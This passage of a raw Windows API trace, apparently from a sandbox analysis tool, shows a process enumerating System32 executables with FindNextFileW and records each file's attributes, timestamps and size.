FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa993f206, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa993f206, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe6599f00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="makecab.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa131dd15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa131dd15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa131dd15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="manage-bde.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1285794, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1285794, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12ab8f4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe9c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mblctr.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99860dd3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99860dd3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x998ad094, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mcbuilder.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ff26e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4e9ff26e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe6aa7e20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mctadmin.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384388cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x384388cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MdRes.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cae1b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cae1b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90cd4312, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MdSched.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad68b6a9, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xad68b6a9, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe6d2edb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mfpmp.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0ab17e, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xaf0ab17e, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x2d518220, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16650, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MigAutoPlay.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97ea8df4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x97ea8df4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe82c1510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20b800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mmc.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88cbd8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa88cbd8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa88cbd8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mobsync.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3581760b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3581760b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe85484a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mountvol.exe", cAlternateFileName="")) returned 1 [0164.363] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7d7555, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xfb7d7555, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe8710d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mpnotify.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdf674, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1cdf674, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46f2a400, ftLastWriteTime.dwHighDateTime=0x1cb6fbd, nFileSizeHigh=0x0, nFileSizeLow=0x42180, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MpSigStub.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858ac30d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x858ac30d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe8900700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MRINFO.EXE", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ef72ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93ef72ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f1d42f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msconfig.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f748c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23f748c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe9260570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x106e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msdt.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msdtc.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36d2757, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msfeedssync.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5bf525, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6c5bf525, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe931ec50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msg.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc462c463, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc462c463, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe9345d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mshta.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msiexec.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849572ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849572ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d77b9b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd8d77b9b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeabd2030, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x65e000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mspaint.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206ec2b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x206ec2b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xead4edf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="msra.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd0f09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87cd0f09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87cf7069, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mstsc.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa8766c6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfa8766c6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb048970, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="mtstocom.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3728ce1, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xd3728ce1, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xeb0dff50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MuiUnattend.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1df59a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1df59a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1df59a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="MultiDigiMon.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204904eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x204904eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb31b3f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x50800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="NAPSTAT.EXE", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad0ed19, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad0ed19, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad34e79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caa4fdc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4caa4fdc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb366ee0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="nbtstat.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb6c1f9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb6c1f9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb3d9ad0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ndadmin.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251bcb61, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x251bcb61, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4255c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="net.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e64beab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e64beab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e64beab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="net1.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed02ac7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4ed02ac7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4710b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="netbtugc.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f5f716, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7f5f716, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb4981b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="netcfg.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61099acf, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x61099acf, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4bf2b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="netiougc.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663b97cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x663b97cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4e3ca0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="Netplwiz.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6aa0544, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6aa0544, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb50ada0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="NetProj.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72634ab1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x72634ab1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="netsh.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851fa5b4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x851fa5b4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="NETSTAT.EXE", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb57d990, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="newdev.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db9fbcf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9db9fbcf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dcf6831, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60a00, dwReserved0=0x7c3740, dwReserved1=0x77f, 